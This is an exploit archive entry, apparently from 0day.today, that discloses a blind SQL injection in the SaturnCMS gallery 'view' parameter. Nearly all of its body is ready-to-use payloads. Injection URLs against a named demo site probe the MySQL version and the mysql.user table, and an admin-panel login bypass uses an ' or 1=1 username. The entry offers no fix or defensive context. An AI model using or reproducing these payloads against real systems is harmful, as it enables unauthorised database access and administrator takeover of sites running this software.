SaturnCMS (view) Blind SQL Injection Vulnerability

2008-11-17T00:00:00
ID 1337DAY-ID-4196
Type zdt
Reporter Hussin X
Modified 2008-11-17T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==================================================
SaturnCMS (view) Blind SQL Injection Vulnerability
==================================================


SaturnCMS (view)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X
___________________________________

script  : http://www.saturncms.com/download

Demo :
_______

http://demo.saturncms.com/gallery/web/view/22`

true & false

http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=5
http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=4
Version = 5  :) 
Table
http://demo.saturncms.com/gallery/web/view/22+and+(SELECT 1 from mysql.user limit 0,1)=1


Auth Bypass
_______

http://demo.saturncms.com/admin
Username : admin ' or 1=1

Password : inj3ct0r




#  0day.today [2018-02-16]  #